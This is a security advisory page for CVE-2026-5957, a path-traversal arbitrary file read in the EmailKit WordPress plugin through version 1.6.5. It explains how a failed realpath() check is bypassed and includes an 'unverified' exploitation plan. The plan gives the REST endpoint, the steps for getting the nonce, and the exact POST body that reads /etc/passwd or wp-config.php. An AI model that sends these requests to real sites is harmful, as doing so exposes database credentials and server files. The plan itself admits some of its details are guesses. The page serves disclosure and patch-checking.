CVE-2026-5957

EmailKit <= 1.6.5 - Authenticated (Author+) Arbitrary File Read via 'emailkit-editor-template' REST Parameter

mediumImproper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
6.5
CVSS Score
6.5
CVSS Score
medium
Severity
1.6.6
Patched in
1d
Time to patch

Description

The EmailKit plugin for WordPress is vulnerable to Arbitrary File Read in all versions up to and including 1.6.5. This is due to a flawed path traversal validation in the create_template() method of the CheckForm class, where realpath() is called on the allowed base directory (wp-content/uploads/emailkit/templates/) which may not exist, causing it to return false. In PHP 8.x, strpos($real_path, false) implicitly converts false to an empty string, and strpos() with an empty needle always returns 0, causing the check strpos(...) !== 0 to evaluate to false and bypassing the path validation entirely. This makes it possible for authenticated attackers, with Author-level access and above, to read arbitrary files from the server, including sensitive files such as wp-config.php, by supplying an absolute path to the emailkit-editor-template REST API parameter.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=1.6.5
PublishedMay 4, 2026
Last updatedMay 5, 2026
Affected pluginemailkit

What Changed in the Fix

Changes introduced in v1.6.6

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-5957 - EmailKit Arbitrary File Read ## 1. Vulnerability Summary The **EmailKit** plugin (<= 1.6.5) contains a path traversal vulnerability in its REST API handler for creating templates. The vulnerability exists because the `CheckForm::create_template()` metho…

Show full research plan

Exploitation Research Plan: CVE-2026-5957 - EmailKit Arbitrary File Read

1. Vulnerability Summary

The EmailKit plugin (<= 1.6.5) contains a path traversal vulnerability in its REST API handler for creating templates. The vulnerability exists because the CheckForm::create_template() method attempts to validate a user-supplied file path against an allowed base directory using realpath().

If the base directory (wp-content/uploads/emailkit/templates/) does not exist on the filesystem, realpath() returns false. In PHP 8.x, when strpos() is called with false as the second argument (the needle), it is implicitly converted to an empty string "". Since strpos($any_string, "") always returns 0, the validation check strpos($real_path, realpath($allowed_base_path)) !== 0 evaluates to 0 !== 0, which is false. This logic failure allows an attacker to bypass the directory restriction and read arbitrary files from the server into a new WordPress post.

2. Attack Vector Analysis

  • Endpoint: POST /wp-json/emailkit/v1/create-template
  • Hook: rest_api_init in includes/Admin/Api/CheckForm.php
  • Parameter: emailkit-editor-template (used as the file path to read)
  • Authentication: Required. The user must have publish_posts capability (typically Author role and above).
  • Preconditions:
    1. The WordPress environment must be running PHP 8.x.
    2. The directory wp-content/uploads/emailkit/templates/ must not exist (default state until a template is saved).

3. Code Flow

  1. Request Entry: The attacker sends a POST request to emailkit/v1/create-template.
  2. Permission Check: CheckForm::create_template verifies is_user_logged_in() and current_user_can('publish_posts').
  3. Input Retrieval: The parameter emailkit-editor-template is retrieved:
    $template_path = $request->get_param('emailkit-editor-template');
    
  4. Validation Bypass (Sink):
    $allowed_base_path = wp_upload_dir()['basedir'] . '/emailkit/templates/';
    $real_path = realpath($template_path); // e.g., /etc/passwd -> /etc/passwd
    // If the directory does not exist, realpath($allowed_base_path) is false
    if ($real_path === false || strpos($real_path, realpath($allowed_base_path)) !== 0) {
        // Check fails to catch traversal because strpos("/etc/passwd", false) === 0
        return new WP_REST_Response(['success' => false, ...], 400);
    }
    
  5. File Read:
    $template = file_exists($real_path) ? file_get_contents($real_path) : '';
    
  6. Data Storage: The file content ($template) is saved into a new post of type emailkit via wp_insert_post().

4. Nonce Acquisition Strategy

The endpoint requires a standard WordPress REST API nonce (wp_rest).

  1. Role Requirement: Login as a user with the Author role.
  2. Location: The nonce is localized in the WordPress admin dashboard.
  3. Extraction:
    • Navigate to /wp-admin/admin.php?page=emailkit (or any admin page).
    • The plugin localizes nonces in the metform global variable via MetformEmailSettings::enqueue_metform_scripts().
    • Use browser_eval to extract it:
      window.metform?.rest_nonce
      
    • Alternatively, use the standard WordPress wp-api-js localized data:
      wpApiSettings.nonce
      

5. Exploitation Strategy

Step 1: Confirm Directory Absence

Verify that the directory wp-content/uploads/emailkit/ does not exist to ensure the realpath() bypass will work.

Step 2: Prepare Payload

Target a sensitive file like /etc/passwd or wp-config.php.

Step 3: Trigger File Read via REST API

Send the POST request using the http_request tool.

Request:

  • Method: POST
  • URL: /wp-json/emailkit/v1/create-template
  • Headers:
    • X-WP-Nonce: [EXTRACTED_NONCE]
    • Content-Type: application/x-www-form-urlencoded
  • Body:
    form_id=1&template_title=ExfiltratedData&emailkit-editor-template=/etc/passwd
    

Step 4: Retrieve Exfiltrated Content

The response will return a post_id.

{
    "success": true,
    "data": {
        "post_id": 123,
        "builder_url": ".../post.php?post=123&action=emailkit-builder"
    }
}

Use wp-cli or the REST API to read the content of the newly created post ID 123. The file content will be stored in the post's metadata or content fields.

6. Test Data Setup

  1. User: Create an Author user:
    wp user create attacker attacker@example.com --role=author --user_pass=password
  2. Plugin State: Ensure the plugin is active and no templates have been created yet (to keep the uploads directory empty).
  3. Environment: Ensure PHP version is 8.0 or higher.

7. Expected Results

  • The REST API response should return 200 OK with a success: true status and a post_id.
  • Querying the database for the meta associated with that post_id (likely emailkit_template_content or similar, based on the truncated code) should reveal the contents of /etc/passwd.

8. Verification Steps

After the HTTP request, use wp-cli to verify the content of the created post:

# Find the latest emailkit post
POST_ID=$(wp post list --post_type=emailkit --posts_per_page=1 --format=ids)

# Check the post meta where the template content is stored
wp post meta get $POST_ID emailkit_template_content

9. Alternative Approaches

If emailkit-editor-template is strictly validated or fails, check the $html_path logic:

$html_path = str_replace("content.json", "content.html", $real_path);
$real_html_path = realpath($html_path);

An attacker could provide /etc/passwd/content.json which would be str_replace'd to /etc/passwd/content.html, potentially failing. However, providing a direct path to a file that exists and satisfies the strpos(..., false) bypass is the primary path.

If the create-template endpoint is blocked, the check-template endpoint also exists but it does not appear to perform file operations in the provided source. Focus remains on create_template.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.